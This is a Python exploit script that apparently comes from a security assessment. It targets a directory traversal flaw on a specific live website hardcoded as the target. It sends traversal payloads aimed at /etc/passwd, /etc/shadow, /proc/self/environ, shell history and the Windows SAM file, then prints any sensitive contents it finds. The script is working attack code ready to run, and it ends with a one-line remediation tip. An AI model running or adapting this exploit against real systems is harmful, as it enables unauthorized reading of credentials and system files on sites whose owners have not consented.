#!/usr/bin/env python3
"""
Directory Traversal Exploit for UpLinkAI
Demonstrates the LFI vulnerability found during assessment
"""

import requests
import sys

class DirectoryTraversalExploit:
    def __init__(self, target):
        self.target = target
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
        })
    
    def test_payload(self, payload):
        """Test a single directory traversal payload"""
        try:
            url = f"{self.target}?file={payload}"
            response = self.session.get(url, timeout=10)
            
            print(f"\n[+] Testing: {payload}")
            print(f"    URL: {url}")
            print(f"    Status: {response.status_code}")
            print(f"    Length: {len(response.text)} bytes")
            
            # Check for sensitive content indicators
            sensitive_indicators = [
                'root:', 'daemon:', 'bin:', 'sys:',
                'localhost', '127.0.0.1',
                'Linux', 'version', 'Ubuntu',
                '[Service]', '[Unit]', 'systemd'
            ]
            
            found_indicators = []
            for indicator in sensitive_indicators:
                if indicator.lower() in response.text.lower():
                    found_indicators.append(indicator)
            
            if found_indicators:
                print(f"    🚨 SENSITIVE CONTENT DETECTED: {found_indicators}")
                print(f"    Sample: {response.text[:200]}...")
                return True
            else:
                print(f"    ✅ No sensitive content detected")
                return False
                
        except Exception as e:
            print(f"    ❌ Error: {e}")
            return False
    
    def exploit(self):
        """Main exploitation method"""
        print("UpLinkAI Directory Traversal Exploit")
        print("=" * 50)
        print(f"Target: {self.target}")
        print()
        
        # Common Linux file paths to test
        payloads = [
            "../../../etc/passwd",
            "../../../etc/hosts", 
            "../../../etc/shadow",
            "../../../proc/version",
            "../../../proc/self/environ",
            "../../../var/log/auth.log",
            "../../../home/user/.bash_history",
            "../../../root/.bashrc",
            "../../../boot/grub/grub.cfg",
            "../../../sys/class/net/eth0/address"
        ]
        
        # Windows file paths (for completeness)
        windows_payloads = [
            "..\\..\\..\\windows\\system32\\drivers\\etc\\hosts",
            "..\\..\\..\\windows\\win.ini",
            "..\\..\\..\\windows\\system32\\config\\sam",
            "..\\..\\..\\boot.ini"
        ]
        
        print("Testing Linux file paths...")
        exploited = False
        for payload in payloads:
            if self.test_payload(payload):
                exploited = True
        
        print("\nTesting Windows file paths...")
        for payload in windows_payloads:
            if self.test_payload(payload):
                exploited = True
        
        print("\n" + "=" * 50)
        if exploited:
            print("🎯 EXPLOITATION SUCCESSFUL!")
            print("The application is vulnerable to directory traversal attacks.")
            print("Recommendation: Implement proper input validation and file access controls.")
        else:
            print("❌ No successful exploitation detected")
            print("However, the vulnerability scanner detected the issue.")

if __name__ == "__main__":
    target = "https://uplinkai.in/"
    exploit = DirectoryTraversalExploit(target)
    exploit.exploit()
